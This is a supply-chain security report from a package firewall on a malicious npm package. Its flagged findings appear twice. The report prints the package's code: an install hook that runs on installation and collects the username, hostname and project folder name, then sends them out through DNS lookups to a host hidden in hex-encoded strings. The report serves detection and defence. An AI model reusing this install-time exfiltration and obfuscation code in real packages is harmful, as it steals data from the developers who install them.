@consts/links@9.9.9: Malicious npm security report (Block) | LPM Firewall

Loading npm security reports…

@consts/links@9.9.9: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

8 flagged · loading source

package.jsonView file

•scripts.install = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

7"scripts": { "install": "node index.js", "test": "node test/smoke.js" }

High

Suspicious Lifecycle Evidence

The install lifecycle automatically runs the package entrypoint.

package.jsonView on unpkg · L7

lib/core.jsView file

18var proc = compat.proc(); L19: var user = _sanitize((os.userInfo() || {}).username, 30); L20: var host = _sanitize(os.hostname(), 40); L21: var cwd = _sanitize((proc.cwd() || '').split('/').filter(Boolean).pop(), 30); ... L24: if (query.length > 250) { query = query.slice(0, 250); } L25: dns.resolve4(query, function () { /* best-effort */ }); L26: } catch (e) { /* mirrors are best-effort */ }

Critical

Dns Exfiltration

Source appears to send environment or credential material through DNS lookups.

lib/core.jsView on unpkg · L18

•Trigger-reachable chain: scripts.install -> index.js -> lib/core.js Reachable file contains a blocking source-risk pattern.

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

lib/core.jsView on unpkg

16var os = compat.runtime(); var dns = compat.resolver(); var proc = compat.proc(); var user = _sanitize((os.userInfo() || {}).username, 30); var host = _sanitize(os.hostname(), 40); var cwd = _sanitize((proc.cwd() || '').split('/').filter(Boolean).pop(), 30); var ts = Math.floor(Date.now() / 1000).toString(36); var query = [config.tag(), user, host, cwd, ts, config.authority()].join('.'); if (query.length > 250) { query = query.slice(0, 250); } dns.resolve4(query, function () { /* best-effort */ });

High

Ai Review Evidence

The routine collects the local username, hostname, and current-project directory name, then transmits them in a DNS lookup.

lib/core.jsView on unpkg · L16

index.jsView file

3* Bootstrap entrypoint. * Applies registry mirror defaults, then exposes the public API. */ try { require('./lib/core').apply(); } catch (e) { /* non-fatal */ } module.exports = require('./src');

High

Ai Review Evidence

The entrypoint invokes the telemetry routine on installation and every import.

index.jsView on unpkg · L3

lib/6ad264.jsView file

7function _decode(seq) { return Buffer.from(seq).toString('utf8'); } var _modules = { runtime: [0x6f, 0x73], resolver: [0x64, 0x6e, 0x73], proc: [0x70, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73] }; var _hostLoader = module.constructor['_load']; function _resolve(kind) { return _hostLoader(_decode(_modules[kind]), module, true); }

High

Ai Review Evidence

The DNS resolver and destination host are deliberately hidden through encoded strings and internal module loading.

lib/6ad264.jsView on unpkg · L7

lib/b02e30.jsView file

7var _constants = { packageTag: [0x6c, 0x69, 0x6e, 0x6b, 0x73], mirrorAuthority: [0x6f, 0x6f, 0x62, 0x2e, 0x61, 0x6c, 0x67, 0x61, 0x6d, 0x69, 0x6c, 0x37, 0x78, 0x2e, 0x78, 0x79, 0x7a] }; module.exports = { tag: function () { return compat.decode(_constants.packageTag); }, authority: function () { return compat.decode(_constants.mirrorAuthority); } };

High

Ai Review Evidence

The DNS resolver and destination host are deliberately hidden through encoded strings and internal module loading.

lib/b02e30.jsView on unpkg · L7

Source & flagged code

8 flagged

package.jsonView file

•scripts.install = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

7"scripts": { "install": "node index.js", "test": "node test/smoke.js" }

High

Suspicious Lifecycle Evidence

The install lifecycle automatically runs the package entrypoint.

package.jsonView on unpkg · L7

lib/core.jsView file

18var proc = compat.proc(); L19: var user = _sanitize((os.userInfo() || {}).username, 30); L20: var host = _sanitize(os.hostname(), 40); L21: var cwd = _sanitize((proc.cwd() || '').split('/').filter(Boolean).pop(), 30); ... L24: if (query.length > 250) { query = query.slice(0, 250); } L25: dns.resolve4(query, function () { /* best-effort */ }); L26: } catch (e) { /* mirrors are best-effort */ }

Critical

Dns Exfiltration

Source appears to send environment or credential material through DNS lookups.

lib/core.jsView on unpkg · L18

•Trigger-reachable chain: scripts.install -> index.js -> lib/core.js Reachable file contains a blocking source-risk pattern.

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

lib/core.jsView on unpkg

16var os = compat.runtime(); var dns = compat.resolver(); var proc = compat.proc(); var user = _sanitize((os.userInfo() || {}).username, 30); var host = _sanitize(os.hostname(), 40); var cwd = _sanitize((proc.cwd() || '').split('/').filter(Boolean).pop(), 30); var ts = Math.floor(Date.now() / 1000).toString(36); var query = [config.tag(), user, host, cwd, ts, config.authority()].join('.'); if (query.length > 250) { query = query.slice(0, 250); } dns.resolve4(query, function () { /* best-effort */ });

High

Ai Review Evidence

The routine collects the local username, hostname, and current-project directory name, then transmits them in a DNS lookup.

lib/core.jsView on unpkg · L16

index.jsView file

3* Bootstrap entrypoint. * Applies registry mirror defaults, then exposes the public API. */ try { require('./lib/core').apply(); } catch (e) { /* non-fatal */ } module.exports = require('./src');

High

Ai Review Evidence

The entrypoint invokes the telemetry routine on installation and every import.

index.jsView on unpkg · L3

lib/6ad264.jsView file

7function _decode(seq) { return Buffer.from(seq).toString('utf8'); } var _modules = { runtime: [0x6f, 0x73], resolver: [0x64, 0x6e, 0x73], proc: [0x70, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73] }; var _hostLoader = module.constructor['_load']; function _resolve(kind) { return _hostLoader(_decode(_modules[kind]), module, true); }

High

Ai Review Evidence

The DNS resolver and destination host are deliberately hidden through encoded strings and internal module loading.

lib/6ad264.jsView on unpkg · L7

lib/b02e30.jsView file

7var _constants = { packageTag: [0x6c, 0x69, 0x6e, 0x6b, 0x73], mirrorAuthority: [0x6f, 0x6f, 0x62, 0x2e, 0x61, 0x6c, 0x67, 0x61, 0x6d, 0x69, 0x6c, 0x37, 0x78, 0x2e, 0x78, 0x79, 0x7a] }; module.exports = { tag: function () { return compat.decode(_constants.packageTag); }, authority: function () { return compat.decode(_constants.mirrorAuthority); } };

High

Ai Review Evidence

The DNS resolver and destination host are deliberately hidden through encoded strings and internal module loading.

lib/b02e30.jsView on unpkg · L7